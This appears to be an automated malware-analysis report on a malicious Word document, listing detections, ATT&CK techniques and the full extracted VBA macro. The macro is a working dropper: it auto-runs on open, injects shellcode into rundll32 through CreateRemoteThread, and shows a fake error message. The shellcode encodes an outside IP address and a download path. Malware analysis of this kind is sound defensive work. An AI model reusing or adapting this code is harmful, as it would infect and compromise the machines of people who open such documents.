MALICIOUS
434
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.005 Visual Basic
The sample is a malicious Microsoft Word document that leverages the CVE-2007-3899 vulnerability to achieve arbitrary code execution. The VBA macros within the document utilize Windows API calls such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating an intent to inject and run malicious code. This behavior is consistent with a dropper or downloader malware.
Heuristics 14
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
ClamAV: Doc.Malware.Valyria-10025240-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10025240-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Dim myByte As Long, myArray As Variant, offset As Long -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 56, 46, 54, 50, 46, 50, 48, 52, 46, 55, 51, 0, 32, 47, -31, -123) If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8250 bytes |
SHA-256: 5597769b06dc261484696d0c6a59a760259075a4c8dc8ad462aa29f194d5a97d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
XIqRxlUlpY As Long
hvxaNKSETS As Long
evlJfOreZP As Long
hXeYhrhDIR As Long
End Type
Private Type STARTUPINFO
uxSzmWIwIr As Long
sGMjGmmwuE As String
JMWEOuBfiv As String
tFMdIwKKQh As String
cpOIJNmpqD As Long
IJeKPrYSqJ As Long
cpOIJNmpqDSize As Long
IJeKPrYSqJSize As Long
cpOIJNmpqDCountChars As Long
IJeKPrYSqJCountChars As Long
RHKwuXRQmt As Long
GzhsSrTgtJ As Long
CDePkfdNXJ As Integer
uxSzmWIwIrReserved2 As Integer
sGMjGmmwuE2 As Long
lfpuiTvtuB As Long
qRsSWxlFVh As Long
NmqMKzzwRU As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function nylDvpfbdC Lib "kernel32" Alias "CreateRemoteThread" (ByVal XIqRxlUlpY As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function oDjVLUKKyj Lib "kernel32" Alias "VirtualAllocEx" (ByVal XIqRxlUlpY As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function onbtxzejCE Lib "kernel32" Alias "WriteProcessMemory" (ByVal XIqRxlUlpY As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function iwvaGetdmj Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function nylDvpfbdC Lib "kernel32" Alias "CreateRemoteThread" (ByVal XIqRxlUlpY As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function oDjVLUKKyj Lib "kernel32" Alias "VirtualAllocEx" (ByVal XIqRxlUlpY As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function onbtxzejCE Lib "kernel32" Alias "WriteProcessMemory" (ByVal XIqRxlUlpY As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function iwvaGetdmj Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
95, 105, 110, 105, 116, 46, 103, 105, 102, 0, -125, 47, -106, 101, -82, 113, -76, 112, 46, 117, -97, -121, 23, 32, 92, -66, -118, 28, 34, 42, -128, -104, 36, 32, 103, 87, 42, 57, -16, -83, _
98, 45, 125, -38, 22, 48, 48, 0, -68, -67, 32, 46, 65, -31, 96, 84, -54, -92, 5, -19, -70, 67, 102, -73, 23, -57, 100, 47, 77, -123, 19, 63, 76, -112, 14, 39, -19, 50, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, _
87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 51, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, _
10, 0, 26, 40, 38, 118, -18, -19, 74, -58, -28, -111, -47, -30, 68, 58, 99, 13, 74, -57, 21, 98, 77, 91, -15, 122, -28, -123, -102, 93, 29, 47, -109, -95, 74, 103, 63, 98, -120, 73, _
58, -43, -90, -120, -113, -38, -79, -91, 80, 112, 52, -96, 42, -69, -62, 71, -125, -121, 2, -7, -123, -112, -100, 50, -50, -63, 38, -32, 106, -62, -23, 123, 41, -67, 31, -9, -24, -15, -19, -18, _
-125, 44, -98, -32, 61, -4, 105, 61, 40, -15, 122, -21, -75, -45, -103, -14, -62, 67, 28, 88, 96, -61, -111, 63, -50, 64, 47, 18, -38, -35, 69, -20, 121, -120, 32, 70, 109, 30, -8, 86, _
-33, 107, 51, -72, 26, 61, -67, -62, -127, 4, 37, -13, -51, -105, 72, 8, -84, 54, -100, -126, -61, 57, -102, 44, 4, 29, -44, 67, 59, 5, 125, 71, 63, 120, -30, 57, 27, -15, -88, 4, _
-69, 67, -22, -92, -86, 73, -53, -68, 90, -41, -8, -64, 17, -108, -41, 114, 74, 63, 49, 18, 92, 72, -14, -75, -86, -61, -28, -32, 82, -107, -112, -20, 43, -119, 85, -86, 28, -55, 103, 116, _
-78, -25, 125, -49, -101, -115, -40, 7, 57, 45, 78, -4, -60, 84, -23, -91, -122, 112, -87, -27, 19, -30, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 40, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 56, 46, 54, 50, 46, 50, 48, 52, 46, 55, 51, 0, 32, 47, -31, -123)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
res = iwvaGetdmj(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = oDjVLUKKyj(pInfo.XIqRxlUlpY, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = onbtxzejCE(pInfo.XIqRxlUlpY, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = nylDvpfbdC(pInfo.XIqRxlUlpY, 0, 0, rwxpage, 0, 0, 0)
ActiveDocument.Range.Text = "Er is een probleem opgetreden met dit document. Error: 0x008181AA."
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.